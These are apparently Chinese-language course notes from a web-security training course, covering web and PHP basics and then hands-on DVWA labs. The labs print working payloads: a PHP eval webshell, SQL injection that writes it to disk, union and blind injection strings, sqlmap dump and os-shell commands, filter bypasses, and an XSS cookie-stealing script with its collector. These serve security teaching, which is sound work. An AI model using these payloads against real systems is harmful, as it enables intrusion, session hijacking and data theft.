**
前言&Tips:
**:本課程適用于白帽子快速入門,即掌握最少且必要的知識,
《網易云課堂微專業—Web安全工程師》,又名:《網易“白帽子黑客”訓練營》 の 課程筆記
- 前言&Tips:
- Web基礎知識
- 第一章
- 第一節
- 第二節
- 第二章
- 第一節 HTML超文本標記語言
- 第二節 JS基礎
- 第三節 Web服務端
- 第四節 后端
- 第五節 PHP
- Web安全基礎
- 第一章 常見Web安全問題
- 第二章
- 第一節 XSS (Cross Site Script/跨站腳本)
- 第二節 CSRF(跨站請求偽造)
- 第三節 點擊劫持/又名UI覆寫
- 第四節 URL跳轉
- 第五節 SQL注入
- 第六節 命令注入
- 第七節 檔案操作漏洞
- Web安全工具
- 第一章 瀏覽器與瀏覽器拓展初級
- 第二章 代理抓包分析工具
- 第三章 漏洞掃描工具初級
- 第一節 敏感檔案探測
- 第二節 漏洞掃描工具
- 第三節 SQL注入漏洞測驗入門
- 第四章 搜索及在線Web工具
- Web安全實戰
- 第一章 DVWA的配置
- 第二章 暴力破解
- 第三章 命令注入
- 第四章 CSRF
- 第五章 檔案包含
- 第六章 檔案上傳漏洞
- 第七章 SQL回顯注入
- 第八章 SQL盲注
- 第九章 XSS
- 第一節 反射型
- 第二節 存盤型
- 第五章 Web安全體系建設
- 第一章 SDL(Security Development Lifecycle)
- 第二章 應急回應
Web基礎知識
第一章
第一節
- Web2.0的特征是用戶與用戶可以互動,
- Web通信流程:用戶<>瀏覽器<>服務器 可分為前端與后端
第二節
- URL:統一資源定位符Uniform Reaource Locator的簡寫,即站點鏈接,功能就是定位網站資源,
- URL詳細格式:
- 底層協議://服務器域名或IP地址[:服務器埠#]/路徑/../[?發送給http服務器的資料][#錨]
- http的報文:分為請求與回應兩部分,請求報文有請求行(Request Line)、頭部(Header)、資料體(Body)三部分;回應報文有狀態行(Status Line)、訊息報頭、回應正文三部分,
- cookie:用戶憑證,
- HTTP頭資訊中的Referer指明用戶從何處來到此網站,可以統計流量,判斷來源是否合法等,
- 狀態碼(301/302)說明正在跳轉,下面的Location指明跳轉的地址,
- Set-Cookie:是官方頒發的憑證,
第二章
第一節 HTML超文本標記語言
- HTML元素屬性分為標簽屬性和事件屬性
- HTML DOM樹結構便于JS控制HTML元素
第二節 JS基礎
- 當HTML已完成,想在頁面操作HTML元素,就要用到JavaScript HTML DOM
- 獲取HTML元素內容
document.getElementById("某個id").innerHTML <!--document.getElementById("某個id")用于獲取元素,.innerHTML用于獲取元素內容--> - 寫入HTML內容
document.write(),可以寫入文本、本地時間,也可以寫入元素, - 三種彈窗 :alert() comfirm() prompt()
- JS操作HTML用到DOM,操作瀏覽器用到BOM;
- 什么是cookie:用戶上網時,服務器給用戶的憑證,類似于鑰匙,
- 如何獲取cookie:document.cookie;
- 如何寫入cookie:document.cookie = “寫入值”(就是在源cookie后加上這些值);
第三節 Web服務端
- Web服務端中MySQL提供資料服務,Apache提供Web服務
- 訪問本地服務器的四種方法:localhost 127.0.0.1 本機IP 域名 , 其中域名又分為DNS決議和HOSTS檔案決議兩種方式,HOSTS的路徑是C:\Windows\System32\drivers\etc\HOSTS.
第四節 后端
- 資料庫操作:
創建資料庫:CREATE DATABASE 資料庫名;
查看資料庫:SHOW DATABASES;
切換資料庫:USE 資料庫名;
洗掉資料庫:DROP DATABASE 資料庫名;
- 資料表操作:
創建資料表:
CREATE TABLE teacher(
id int(4) not null primary key auto_increment,
name char(20) not null,
sex char(10) not null,
addr char(20) not null
);
查看資料表:SHOW tables;
- 資料操作(增刪改查):
插入資料表:
INSERT INTO teacher(name,sex,addr)
VALUES('Leo','Male','hangzhou');
洗掉資料:DELETE FROM teacher WHERE name = 'Leo'
更新資料:UPDATE teacher SET name = 'ivan' WHERE id= 1;
查詢資料表:SELECT * FROM teacher;
篩選資料:select 你要的資訊 from 資料表(可多個) where 條件 ;
where 也可以用于updata和delete中;
排列資料:select 你要的資訊 from 資料表(可多個)
order by 表頭的欄位(如:name) ASC(升序)/DESC(降序) ;
合并資料:
select 你要的資訊 from 資料表1
union
select 你要的資訊 from 資料表2 ;
不掩蓋重復資料的合并:
select 你要的資訊 from 資料表1
union all
select 你要的資訊 from 資料表2 ;
MySQL的注釋方法:
- #…
- – …
- /…/
1和2是行注釋,3是塊注釋,
匯入.sql檔案:
輸入source ,然后把檔案拖進命令列,但是Mysql在插入資料庫的時候會自動去除轉義符,所以需要在\的地方再加一個\,
MySQL中常見的內置函式:
- select database() :列印當前資料庫名稱
- select current_user:列印當前用戶名
- select load_file(‘路徑’):顯示檔案內容;
- select version() :列印資料庫版本;、
第五節 PHP
- PHP腳本在服務器上運行,
- 注釋:
//、#、/*...*/最后一個是塊注釋, - echo可一次輸出多個,print有回傳值,
.表示串接,兩個變數間無空格,- 變數以
$開頭, - 請求有 G E T 、 _GET、 G?ET、_POST幾種,除了對應接收外,這兩種方式都可以被$_REQUEST接收,
- PHP的系統變數包含
$_SERVER,可以提供一些關于系統的資訊, - 兩個
.php檔案合并時,只需要在檔案1?>前加一句include '檔案2'. - PHP如何連接資料庫:
- 連接MySQL服務:
mysql_connect("localhost","root","root") - 設定編碼:
mysql_query("SET NAMES UTF8") - 選擇資料庫:
mysql_select_db("websecurity",$con) - 操作資料庫:
mysql_query("SELECT * FROM teacher") - 關閉連接:
mysql_close($con)
- 匯出資料庫:
- 在
cmd中使用mysqldump.exe命令,回車 - 輸入
mysqldump.exe的路徑(直接按上箭頭) -u root -p 要匯出的資料庫名稱 > 要匯入的資料庫的路徑 - 會提示輸入密碼,然后ok
- 如何找到資料庫連接檔案:在
首頁.php檔案中找到包含(include或者require)到路徑下去找到該檔案,
Web安全基礎
第一章 常見Web安全問題
釣魚、網頁篡改、Webshell、暗鏈
第二章
第一節 XSS (Cross Site Script/跨站腳本)
概念:黑客通過“HTML注入”篡改網頁,插入惡意腳本,當用戶在瀏覽網頁時,實作控制用戶瀏覽器行為的一種攻擊方式,
分類:存盤型,反射型,DOM型
各型別的區別:
| XSS型別 | 存盤型 | 反射型 | DOM型 |
|---|---|---|---|
| 觸發程序 | 1.黑客構造XSS到資料庫 2.用戶訪問攜帶XSS腳本的頁面 | 用戶訪問帶有XSS的URL | 用戶訪問帶有XSS的URL |
| 資料存盤 | 資料庫 | URL | URL |
| 誰來輸出 | 后端WEB程式 | 后端WEB程式 | 前端JS |
| 輸出位置 | HTTP回應中 | HTTP回應中 | 動態構造的DOM節點 |
第二節 CSRF(跨站請求偽造)
概念:利用用戶已登錄的狀態(利用cookie),在用戶主動訪問偽造頁面而不知情的情況下完成非法操作(如轉賬等)的攻擊方法
第三節 點擊劫持/又名UI覆寫
概念:通過用一個網站覆寫另一個網站的方式,在用戶不知情的情況下完成非法操作的攻擊方法
第四節 URL跳轉
概念:借助跳轉,將用戶引導到不安全的第三方區域的攻擊方法,
第五節 SQL注入
概念:通過資料與代碼的拼接,改變代碼的原意,從而進行非法操作的攻擊方法,
第六節 命令注入
概念:與SQL注入類似,區別是利用了系統命令(如關機、洗掉等危險命令),
第七節 檔案操作漏洞
檔案上傳漏洞、任意檔案下載漏洞、檔案包含漏洞,
Web安全工具
第一章 瀏覽器與瀏覽器拓展初級
- 如何開啟和關閉JS或者彈窗(包括Chrome/FireFox/IE)
- 查看網頁源代碼:右鍵“查看網頁源代碼”或 “view-source:”
- 查看DOM代碼:“右鍵-檢查”或“開發者工具小箭頭”
- 查看網路資料包:“開發者工具-NetWork"
- 火狐的四個插件:Advanced Cookie Manager、Firebug、HackBar、Proxy Switcher.
第二章 代理抓包分析工具
- “代理”可對經過的資料包進行記錄、攔截、修改、再次發送、丟棄等操作,如同在瀏覽器與Web服務器之間的收費站,
- 掌味訓狐和Chrome的代理設定,Proxy Switcher作為火狐的插件,可以方便的實作多代理點的切換,
- 常見的代理抓包工具:Burpsuite、Charles、Fiddler.在使用時首先要設定監聽埠
第三章 漏洞掃描工具初級
第一節 敏感檔案探測
- 如何安裝python:
1. 下載安裝包,
2. 安裝,記住安裝路徑,
3. 配置環境變數, 屬性-高級系統設定-環境變數-新建(變數名為PATH,變數值為 "安裝路徑+;.;")
- 敏感檔案:像網站管理后臺、資料檔案、備份檔案、Webshell等對于網站安全有重要意義的檔案,
- 敏感檔案探測:猜測檔案路徑,根據http回傳碼判斷檔案是否存在,
- 判斷網站腳本型別:測驗一下index.xxx的型別是什么,當然此方法有可能會被防御者將計就計,
第二節 漏洞掃描工具
- 常用的有AWVS/Netsparker/AppScan.掌握AWVS掃描網站的基礎方法,
- Tips:
1.掃描的不良影響:高流量、可能會觸發危險請求(如刪庫)
2.無法掃描到邏輯漏洞:如通過抓包篡改的賬本,
第三節 SQL注入漏洞測驗入門
- SQL注入的典型危害是可以被用于獲取資料庫敏感資料,
- SQL注入流程:
1.找到有資料庫互動的頁面,
2.判斷頁面是否存在SQL注入,
3.利用SQL注入讀取資料,
4.下載資料,
- sqlmap的威力:
1.支持多種資料庫:MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Friebrid,Sybase,SAP MaxDB,HSQLDB,Informix.
2.支持多種引數位置:GET,POST,Cookie,HTTP.
- sqlmap codes&tips:
1.當輸入帶 "-"的命令時,一個 "-"后跟字母縮寫,兩個 "-"后跟完整單詞,
2.掃描網站,判斷注入點:python sqlmap.py -u "目標url"
3.查看用戶:--users
4.產看資料庫:--dbs
5.查看當前用戶和資料庫: --current-user --current-dbs
6.查看資料庫表資訊: --tables -D "目標dbs"
7.查看資料表的列資訊: --columns -T "目標tables" -D "目標dbs"
8.查看資料表有多少條資料: --count -T "目標tables" -D "目標dbs"
9.查看資料內容: --dump -T "目標tables" -D "目標dbs"
(查看第二條到第三條資料,在此命令后加上 " -- start 2 --stop 3" )
10.下載目標資料庫的全部資料: --dump-all -D "目標dbs"
當引數位置是POST時:有兩種語法來尋找注入點:
- 將抓包所得的資料包檔案移動到sqlmap本地位置,運行
python sqlmap -r "資料包檔案名", - 執行`python sqlmap -u “目標url” --data=“引數樣例”,引數樣例在抓包所得的資料包中,
第四章 搜索及在線Web工具
- 百度和google的高級搜索,
利用高級搜索可尋找:
1. 資料庫互動頁面: inurl:php?
2. 敏感檔案的泄露: filetype:log(日志檔案) sql(資料庫檔案)
3. 網站以前的快取: cathe:目標網站,
- 了解Shodan、Zoomeye、FOFA的網路空間搜索,
- 網路空間搜索引擎的原理:爬取眾多ip網段-打標簽-存盤以供搜索,在這個程序中要保證更新,
Web安全實戰
第一章 DVWA的配置
第二章 暴力破解
- 暴力破解實質上是猜測用戶名和密碼,
- 輔助工具:OWASP ZAP(開源,基于java,要裝jdk,)
- 會利用OWASP ZAP 跑字典,
第三章 命令注入
- 注入其實就是“拼接”的意思,
- 三部曲:
1. 是否呼叫系統命令?
2. 函式或函式的引數是否可控?
3,是否實作命令注入?
- 命令拼接符:
A&B:AB之間無制約關系,
A&&B:A執行成功,然后才會執行B,
A|B:A的輸出作為B的輸入,
A||B:A執行失敗,然后才會執行B,
- 注入經驗:當命令被加入黑名單時,可以通過添加雙引號進行繞過,whoani=who"“ami=who”“am”"i.在Linux里,還可以加兩個單引號,
- 對于無回顯的命令,可以使用
sleep 5(在Linux中)這樣的命令測驗是否存在漏洞,
第四章 CSRF
- 在用戶使用Web應用時,黑客誘騙用戶點擊自己精心偽造的鏈接,使用戶做出非本意的操作,
- 掌握Tamper Data的使用,用此工具輔助自己構造鏈接,
第五章 檔案包含
- 利用代碼的包含漏洞,使得服務器執行自己想要讓其執行的本地檔案,甚至遠程檔案,
- 水平較高的網站會過濾敏感字符,這時就需要開動腦筋找出怎么過濾的,對癥下藥即可,
- file協議:本地檔案傳輸協議,
- 一句話WebShell-cmd:
<?php
@eval($_GET['cmd']);
?>
輸入形似:http://127.0.0.1/WebShell檔案名?cmd=命令 (如phpinfo();)
當執行系統命令時,將后半部分改為cmd=system(這里面填命令);
第六章 檔案上傳漏洞
- 掌握OWASP ZAP重發送資料包
- cmd中如何進入D盤,輸入
d:. - copy命令制作暗命令(內涵圖),
copy 1.jpg/b+1.txt/a 2.jpg
命令中,b表示二進制檔案,a表示文本檔案, - Nginx中存在著畸形決議,只要組態檔
php,ini中chi.fix_pathinfo=1.Web程式讀取xxx.jpg當做xxx.php執行, - 修復:
1. 阻止非法檔案上傳:檔案后綴名,檔案型別,檔案內容頭部的判斷,
2. 阻止非法檔案執行:檔案重命名、檔案壓縮重生成、存盤空間與Web服務分離,
第七章 SQL回顯注入
- 命令注入漏洞注入的是系統命令,SQL注入是指通過WEB程式在資料庫里執行任意SQL陳述句,
- 判斷是否存在SQL回顯注入:一般輸入
1'或者1",如果錯誤資訊回顯,說明存在SQL注入漏洞, POC:證明漏洞存在的代碼,- 三種常見POC:
1 or 1=1
1' or '1'='1
1" or "1"="1
- 三種MySQL注釋符:
#注釋:單行注釋,url中的#常編碼成%23
-- 注釋:單行注釋,注意最后有一個空格,
/*注釋*/:多行注釋,
- 使用
order by來查詢欄位數,如1' order by 欄位數.選一個大的數如10,用二分法來縮小猜測范圍,直到不再報錯的那個數就是欄位數, - 知道欄位后,使用
union select 1,2 --來確定回顯點,也就是哪個地方是服務器顯示給我們的,union select 表示將后面命令顯示在union前命令的后面, @@version查看資料庫版本@@datadir查看資料庫位置user()查看用戶名database()查看資料庫名稱- 如何獲取資料庫所有資料:
- 資料庫名已知,獲取資料表名:
xx' union select 1,table_name from information_schema.tables where table_schema='資料庫名' -- - 資料表名已知,獲取欄位名:
xx' union select 1,column_name from information_schema.columns where table_name='資料表名' - 查詢具體資料,如用戶名,密碼:
xx' union select user,password from 資料表名 --
Tip:還可以獲取系統資訊,比如讀取win.ini檔案:
利用MySql的load_file函式:xx' union select 1,load_file('c:\\windows\\win.ini')--
- 寫Webshell:
- 撰寫例外命令使服務器爆出Web程式的物理路徑
xx' union select "xx","xx" into outfile 'xx' -- (匯出檔案命令) - 寫入Webhshell到服務器:
xx' union select "<?php @eval($_GET['cmd']);?>","webshell" into outfile 'D:\\phpstudy\\WWW\\DVWA-1.9\\cmd.php' --
- 使用Sqlmap工具自動掃描:
1.sqlmap -u "http://127.0.0.1/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=d5t2lcfrs2ks10qo2fkvmbng06;security=low"
2.上傳WebShell的命令:--os-shell
- 中級難度的SQL inject:
1.對方使用下拉框只是修改了提交的形式,有可能改為了POST請求,這時,可以使用tamper data來修改請求,
2.當遇到需要轉義的字符時,我們可以使用Hackbar-Encoding-HEX Encoding-String to 00ff00ff來編碼,并在這個編碼前加上0x表示它是16位的,然后在修改請求時用此編碼代替字符,
3.使用Sqlmap掃描POST請求網站的代碼:sqlmap.py -u"http://172.19.212.83/DVWA-1.9/vulnerabilities/sqli/#" --data "id=1&Submit=Submit" -p "id" --cookie "PHPSESSID=tvciq0bt6lltol4vrltperg026; security=medium" 關鍵是data,可以在Firebug-網路-Post請求的名字中找到,
-高級難度的SQL inject:
1.難度在于,注入點與回顯點不同,手工注入沒什么差別,其難度在于使用Sqlmap時更復雜,需要加一個--second-order引數來指定回顯頁面,
第八章 SQL盲注
- SQL盲注:資料庫的執行結果不會直接顯示到頁面上,頁面只會顯示真偽,
- 三種POC,都使用
真&&假的形式,如果,回傳值為假,就說明采用了這種方式, - Sql手工盲注就是使用
1' and 命令的請求來判斷命令是否為真,進而獲取資料庫資訊, - 幾個常用命令:
select length('str'):獲取字串長度,
如1' and length(database())>1 --、1' and length(database())>1 --等命令使用二分法來確定資料庫名稱,substr(expression,start,length)–獲取子字串(原始字串,子串開始位置,子串長度)ascii(string):獲取第一個字符的ASCII數值,獲得ASCII碼后可以使用二分法來確定是哪個字符,一般字符的ASCII碼是在64到127之間的,- SQL盲注可分為布爾型和延時性,以下為延時性盲注的常用函式,
if(expr1,expr2,expr3):如果1為真,回傳2,否則回傳3.sleep(N):休眠(N)秒,可使用1' and sleep(if(length(database())=4,5,0))--來實作延時盲注,benchmark(count,expr)–重復計算(次數,運算式),可使用1' and benchmark(if(length(database())=4,5000000,0),md5('test')); --
- 使用Sqlmap掃描盲注點,
-p引數用來指定引數,比如id或者user-anget, - Sqlmap掃描low等級漏洞:
sqlmap.py -u"http://172.19.201.158/dvwa-1.9/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=cv24qmblubmfrbo10f3glth402;security=low" -v 3 - Sqlmap中payload所用的函式:
cast(expression as data_type)–資料型別轉換(運算式 as 新的資料型別)ifnull(expr1,expr2)–如果1是null,回傳2,否則回傳1.mid(expression,start,length)–獲取子字串(原始字串,子串開始位置,子串長度)ord(string)–獲取第一個字符的ASCII碼(字串),
- Sqlmap掃描medium等級漏洞:
sqlmap.py -u "http://172.19.201.158/dvwa-1.9/vulnerabilities/sqli_blind/#" -p "id" -cookie "PHPSESSID=cv24qmblubmfrbo10f3glth402; security=medium" --data "id=1&Submit=Submit" - Sqlmap掃描high等級漏洞:
sqlmap.py -u "http://172.19.213.0/dvwa-1.9/vulnerabilities/sqli_blind/" -p "id" --cookie "id=1;security=high;PHPSESSID=p9u0jpvicogb1iv474m0ogqbh2" --level 2
第九章 XSS
- XSS屬于客戶端代碼注入,常用代碼為JavaScript,而命令注入和SQL注入是服務端代碼注入,
- 可分為三種型別:
存盤型:資料庫 HTTP
反射型:URL HTTP
DOM型:URL DOM節點
第一節 反射型
- 彈窗測驗XSS漏洞是否存在:
<script>alert(/xss/)</script>除alert()之外,還有confirm()和prompt()函式, - XSS攻擊思路:用戶登錄Web服務器,攻擊者發送url,用戶點擊,Web服務器對攻擊js回應并發送會話資訊到攻擊者的Web服務器,攻擊者使用會話資訊劫持用戶會話,
- 攻擊者行動:
- 在自己的服務器上寫入獲取會話資訊的檔案
cookie.php–內容是
<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',
$cookie);
?>
- 構造攻擊js
<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
3.構造并發送攻擊url
http://172.19.212.134/dvwa-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
但要注意,<script></script>里面的陳述句(包括script本身)要經過hackbar里URLencode的編碼,
4.利用自己服務器上的cookie.php里的cookie憑證,結合Firebug修改cookie憑證,直接訪問index.php主頁,即可劫持,
- medium等級:服務端過濾了
<script>標簽,
- 可以通過
<scri<script>pt>嵌套來實作繞過, - 可以通過
<ScriPt>大小寫混合來實作繞過,
- high等級:
<script>標簽被禁用,
- 使用
img標簽也可以插入js代碼:<img src=x one rror=alert(1)>,成功彈框, - 使用
iframe標簽,iframe標簽可以嵌入另一個html頁面,可以在這個頁面里寫入js代碼:<iframe onl oad=alert(1),成功彈框,
- impssible等級:使用了htmlspecialchars函式來將特殊字符如
& ' " < >編碼成& " ' &alt; >但是此函式默認不編碼單引號',要編碼單引號,需要加上ENT_QUOTES引數,
第二節 存盤型
- 發送資料的長度受限,可以使用
Tamper data解決, - 存盤型XSS是直接存在資料庫里的,所以彈窗會一直存在,
- 存盤型impossible等級:使用了
mysql_real_escape_string函式,此函式會對引號進行轉義,防止SQL注入,
XSS的修復:
輸入過濾:黑名單,白名單;
輸出過濾:HTML編碼,JS轉義,
第五章 Web安全體系建設
第一章 SDL(Security Development Lifecycle)
- 中文名:安全開發生產周期,來自微軟
- 步驟:培訓 需求 設計 實施 驗證 發布 回應
第二章 應急回應
-安全漏洞與安全事件的區別
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/339032.html
標籤:其他
上一篇:2021年安徽省大資料與人工智能應用競賽人工智能(網路賽)-本科組賽題
下一篇:記錄一次學習程序(get)
